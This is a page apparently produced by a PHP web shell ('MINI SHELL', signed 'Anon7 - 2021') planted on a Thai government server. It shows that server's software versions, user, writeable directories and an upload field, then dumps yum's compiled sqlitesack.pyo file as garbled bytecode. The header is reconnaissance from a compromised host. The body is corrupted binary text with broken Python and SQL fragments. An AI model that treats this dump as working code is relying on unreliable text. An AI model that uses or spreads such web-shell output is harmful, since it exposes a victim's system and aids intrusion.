MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/sqlitesack.pyo
m
ODc@sdkZdkZdkZdkZdklZdklZlZdefdYZ	dei
fdYZdZdZ
d	Zd
ZdS(N(sYumAvailablePackage(smdUtilssmdErrorstYumAvailablePackageSqlitecBsStZdZdZdZdZdZddZdZd	Z	RS(
NcCsHti||||i|_|i|_|i|id<d|_	dS(Ntid(
tYumAvailablePackaget__init__tselftpkgdicttrepoidtsacktpkgIdtsimpletNonet	changelog(RRR((t2/usr/lib/python2.4/site-packages/yum/sqlitesack.pyR s
cCs=t|dodSnd|_|ii|i|_dS(Ntdbusedotheri(thasattrRR
RtgetChangelogRR(R((Rt
loadChangelog's	cCsn|ii|oJt|do9d|_|ii|i}|i
||idnti||S(NtdbusedsimpleiR(
RR	thas_keytvarnameRRRtgetPackageDetailsRtdetailstimportFromDictRtreturnSimple(RRR((RR-s
%	cCs=t|dodSnd|_|ii|i|_dS(Ntdbusedfilesi(RRRRtgetFilesRtfiles(R((Rt	loadFiles6s	cCs|iti|S(N(RRRtreturnChangelog(R((RR<s
tfilecCs|iti||S(N(RRRtreturnFileEntriestftype(RR((RR@s
cCs|iti|S(N(RRRtreturnFileTypes(R((RR Ds
cCs8|i|p|ii|i||_n|i|S(N(RtprcotprcotypeRtgetPrcoR(RR"((Rt
returnPrcoHs(
t__name__t
__module__RRRRRRR R$(((RRs							tYumSqlitePackageSackcBstZdZdZdZddZdZedZdZ	edZ
d	Zd
dZdZ
d
ZdZdZdZdZdZedZedZedZedZedZeeeeedZdZRS(s~ Implementation of a PackageSack that uses sqlite cache instead of fully
    expanded metadata objects to provide information cCs;tii||h|_h|_h|_h|_dS(N(	trepostYumPackageSackRRtpackageClasst	primarydbtfilelistsdbtotherdbtexcludes(RR*((RRQs
			cCsdS(N((R((RtbuildIndexesYsterrorcCsdS(N((Rtfailure((Rt
_checkIndexes]scCs!|i}d|i||i<dS(Ni(tobjRRR.R(RR3R((Rt
delPackagecs	cCs
|ii|ph|i|<n|djo<|ii|odSndg|i|<||i|<n|djo<|ii|odSndg|i|<||i|<nT|djo<|i	i|odSndg|i|<||i	|<nd|dS(Ntmetadatatprimaryt	filelistst	otherdatas Sorry sqlite does not support %s(
RR.RRtdatatypeR+taddedtdataobjR,R-(RRR9R;tcallback((RtaddDictgs$


cCsg}xr|iiD]a\}}|i}|id|x6|i
D](}|i|d|d|dfqKWqW|S(Nsselect changelog.date as date,                changelog.author as author,                changelog.changelog as changelog from packages,changelog where packages.pkgId = %s and packages.pkgKey = changelog.pkgKeytdatetauthorR(
tresultRR-titemstreptcachetcursortcurtexecuteRtfetchalltobtappend(RRRERCRHR@RB((RR}s
*cCs"|dj	o.hdg<dg<dg<dg<}
nh|g<}
x|iiD]\}}|i}x|
i
D]}|id||||||||	xi|iD][}|d}
|d}|d}|d	}|d
}	|
|i|
|	|||ffqWqWqZW|
S(Ntrequirestprovidest	obsoletest	conflictssselect %s.name as name, %s.version as version,                    %s.release as release, %s.epoch as epoch, %s.flags as flags                    from packages,%s                    where packages.pkgId = %s and packages.pkgKey = %s.pkgKeytnametversiontreleasetepochtflags(R"R
R@RR+RARBRCRDREtkeysR!RFRRGRHRNRORPRQRRRI(RRR"R!RERCRHRQRORRR@RPRBRN((RR#s$
.
%





/c
Csx|iiD]\}}t}	h}|i}|i
d|x|iD]}t}	|d}t|d}t|d}x\|oT|o|d|i}n
|i}|i}
|i|
gi|qWqQW|	o|SqqWhS(Nsselect filelist.dirname as dirname,                filelist.filetypes as filetypes,                filelist.filenames as filenames from packages,filelist                where packages.pkgId = %s and packages.pkgKey = filelist.pkgKeytdirnamet	filetypest	filenamest/(RR,RARBRCtFalsetfoundR@RDRERFRRGRHtTrueRTtdecodefiletypelistRUtdecodefilenamelistRVtpoptfilenametfiletypet
setdefaultRI(
RRRERURCRHRVR^R@RYR_RTRB((RRs,

"tlikecCs|h}
|idd}tii|\}
}	x|i
iD]\}}|i}|id|x}|iD]o}|i|i|doqvn|d}|
i|p-|i|d}|i|||
|<qvqvWq@Wx|iiD]q\}}g}|
djod|
}|i|nd|}|i|d|	}|i|x|D]}|i}|id|x|iD]}|i|i|doqnt}xDt |d	D]2}	|d
d|	i!|djo
t"}qqW|pqn|d}|
i|p-|i|d}|i|||
|<qqWqlWqW|
i#S(
Nt's''sselect DISTINCT packages.pkgId as pkgId from provides,packages where provides.name LIKE '%%%s%%' AND provides.pkgKey = packages.pkgKeyRts>select packages.pkgId as pkgId,                filelist.dirname as dirname,                filelist.filetypes as filetypes,                filelist.filenames as filenames                 from packages,filelist where                 filelist.dirname LIKE '%%%s%%'                 AND (filelist.pkgKey = packages.pkgKey)s?select packages.pkgId as pkgId,                filelist.dirname as dirname,                filelist.filetypes as filetypes,                filelist.filenames as filenames                 from packages,filelist where                 filelist.filenames LIKE '%%%s%%'                AND (filelist.pkgKey = packages.pkgKey)s%sRVRTRWi($R@RNtreplacet	quotenametostpathtsplitRTR^RR+RARBRCRDRERFRGRHR.RtpkgidRtpkgtpcR,tquerystringsttmpRItquerystringRXtrealR\tfindRZtvalues(RRNt
query_typeRiRmRjRCRnRHR^R@RlRoRTReRBRE((Rt	searchAlls\

"






"
&cCsh}x|iiD]\}}|i}|idx|i	D]}|i|i|doqHn|d|d|d|d|df}	|d|d	|d
|d|df\}}}}
}|i|	gi||||
|ffqHWqW|S(
Nsselect packages.name as name,                packages.pkgId as pkgId,                packages.arch as arch, packages.epoch as epoch,                packages.release as release, packages.version as version,                obsoletes.name as oname, obsoletes.epoch as oepoch,                obsoletes.release as orelease, obsoletes.version as oversion,                obsoletes.flags as oflags                from obsoletes,packages where obsoletes.pkgKey = packages.pkgKeyRRNtarchRQRORPtonametoflagstoepochtoversiontorelease(RLRR+RARBRCRDRERFRGRHR.RtkeytntftetvtrR`RI(RR}RER|RCRHR{RRLRzR~RB((RtreturnObsoletess

)83cCsjxc|iiD]R\}}|i}|id|x'|i	D]}|i|}|SqEWqWdS(Ns'select * from packages where pkgId = %s(
RR+RARBRCRDRERFRRGRHtdb2classRj(RRRERCRHRjRB((RR+s
c
Cs#g}x!|iiD]\}}|i}
|
id||f|
i}	x|	D]}|
id|dx|
iD]}
|i|
}|i|i|ioq~nh|hd|i
<d|i<d|i<d|i<d|i<g<|_|i|i||q~WqWWqW|d	jp|id
djo|Snx|iiD]\}}|i}
|
id||
i}x|D]}|
id|dxs|
iD]e}
|i|
}|i|i|ioqnh||d
<|_|i|i||qWqWqeWx|iiD]\}}|i}
tii |\}}|
id||
i}x|D]|}|i|i|doqn|o!||di d
joqn|i#|d}|i|i||qWqHW|S(s?return list of packages having prcotype name (any evr and flag)s select * from %s where name = %ss(select * from packages where pkgKey = %stpkgKeyRNRRtreltverRQRKRWis#select * from files where name = %sttypes
select packages.pkgId as pkgId,                filelist.dirname as dirname,                filelist.filetypes as filetypes,                filelist.filenames as filenames                 from filelist,packages where dirname = %s AND filelist.pkgKey = packages.pkgKeyRRVN($tresultsRR+RARBRCRDRERFR"RNRGtprcostrestxRRjR.RRRRRPRORQR!RIRkRpRR,RfRgRhRTR^R(RRNR"RRRCRR^RjRRRTRBRE((Rt
searchPrco3sb
Q
%#
%!!cCs|i|dS(s9return list of packages providing name (any evr and flag)RKN(RRRN(RRN((RtsearchProvides{scCs|i|dS(s9return list of packages requiring name (any evr and flag)RJN(RRRN(RRN((RtsearchRequiresscCs|i|dS(s:return list of packages obsoleting name (any evr and flag)RLN(RRRN(RRN((RtsearchObsoletesscCs|i|dS(s@return list of packages conflicting with name (any evr and flag)RMN(RRRN(RRN((RtsearchConflictsscCsdfdY}|}|i|i|i|i|if|_||_
|i|_|o|Snhd|i
<d|i<|_hd|i<dd<d|i<|_hd	d
<d|i<d|i<|_hd|i<d
|i<|_hd|i<d|i<d|i<|_hd|i<d|d<d|i<d|i<d|i <d|i!<d|i"<d|i#<d|i$<|_%|S(Nt	tmpObjectcBstZRS(N(R%R&(((RRststarttendthreftvalueRctbaseRitYESRtbuildRtpackagetarchivet	installedtsummarytdescriptiontpackagertgroupt	buildhostt	sourcerpmturltvendortlicense(&RtytdbRNRQRORPRttnevraRRRt
nevra_onlytrpm_header_starttrpm_header_endthdranget
location_hreft
location_basetlocationt
checksum_typetchecksum_valuetchecksumt
time_buildt	time_filettimetsize_packagetsize_archivetsize_installedtsizeRtrpm_packagert	rpm_groupt
rpm_buildhostt
rpm_sourcerpmRt
rpm_vendortrpm_licensetinfo(RRRRR((RRs	'	!**!-vcCsg}x|iiD]\}}|djp
||jo|i}|i
dxd|iD]R}|i
|i|ioqbn|i|i|i|i|i|ifqbWqqW|S(sLreturns a list of pkg tuples (n, a, e, v, r) optionally from a single repoids:select pkgId,name,epoch,version,release,arch from packagesN(t
simplelistRR+RARBRCRR
RDRERFRGRjR.RRRIRNRtRQRORP(RRRERBRCRjR((Rt
simplePkgLists

7cCs|ptii||Sng}x|iiD]\}}|i
}|id|xZ|i
D]L}|i|i|ioqin|i|i|i|t|qiWq4W|ptid|nti|S(NsTselect pkgId,name,epoch,version,release,arch from packages where name=%s and arch=%ssNo Package Matching %s.%s(tnaTupR(R)treturnNewestByNameArchRtallpkgR+RARBRCRDRERFRGRR.RRRIRkRRZtmdErrorstPackageSackErrortmdUtilstnewestInList(RRRERCRRRB((RRs
-cCs|ptii||Sng}x|iiD]\}}|i
}|id|xZ|i
D]L}|i|i|ioqin|i|i|i|t|qiWq4W|ptid|nti|S(NsHselect pkgId,name,epoch,version,release,arch from packages where name=%ssNo Package Matching %s(RNR(R)treturnNewestByNameRRR+RARBRCRDRERFRGRR.RRRIRkRRZRRRR(RRNRCRRRBRE((RRs
-cCsg}x|iiD]\}}|djp
||joz|i}|i
dx^|iD]L}|i
|i|ioqbn|i|i|i|t|qbWqqW|S(s>Returns a list of packages, only containing nevra information s:select pkgId,name,epoch,version,release,arch from packagesN(t
returnListRR+RARBRCRR
RDRERFRGRR.RRRIRkRRZ(RRRERBRCRR((RtreturnPackagess

1cCsug}t}x.|||||fD]}|o
t	}q"q"W|o|Snd}
xd|fd|fd|fd|fd|fgD]T\}
}|oA|
ddjo|
d	|
|f}
q|
d
|
|f}
qqWx|iiD]\}}	|	i}|i|
xW|iD]I}|i|i|ioq n|i|i|i||q WqW|S(s6return list of pkgobjects matching the nevra requestedsselect * from packages WHERERNRQRORtRPitWHEREs AND %s = "%s"s
 %s = "%s"N(RRZtemptyRNRQRRRttargRXtqtcoltvarRR+RARBRCRDRERFRGRR.RRRIRkR(RRNRQRRRtRRBRRCRRRRRRE((RtsearchNevras44

*cCsd}x|D]}|d|}q
W|id}|| }xu|iiD]d\}	}|i}
|
i
|x<|
iD].}|i|i||	}|i|qWqNWdS(sBexcludes incompatible arches - archlist is a list of compat archessselect * from packages WHERE sarch != "%s" AND tANDN(t	tmpstringtarchlistRttrfindtlastRnRR+RARBRCRDRERFRGRRkRR3R4(RRRRRCRnR3RRtRBRE((RtexcludeArchss


(R%R&t__doc__RR/R2R4R
R=RR#RRsRRRRRRRRXRRRRRRR(((RR'Ms0					S			H				
!cCs
di|S(NRW(tjointfilenamelist(R((RtencodefilenamelistscCs
|idS(NRW(tfilenamestringRh(R((RR\scCsJd}hdd<dd<dd<}x|D]}|||7}q.W|S(NRcRR|tdirtdtghosttg(R@t	ft2stringtfiletypelistR(RRR@R((Rtencodefiletypelist#s!cCsDhdd<dd<dd<}g}|D]}|||q,~S(NR|RRRRR(t	string2ftt_[1]tfiletypestringR(RRRR((RR[,s!(Rftos.pathttypesR(tpackagesRtrepomdRRRR)R'RR\RR[(R[RR(RR\RRRR'RRfR((Rt?s				
.				

Anon7 - 2021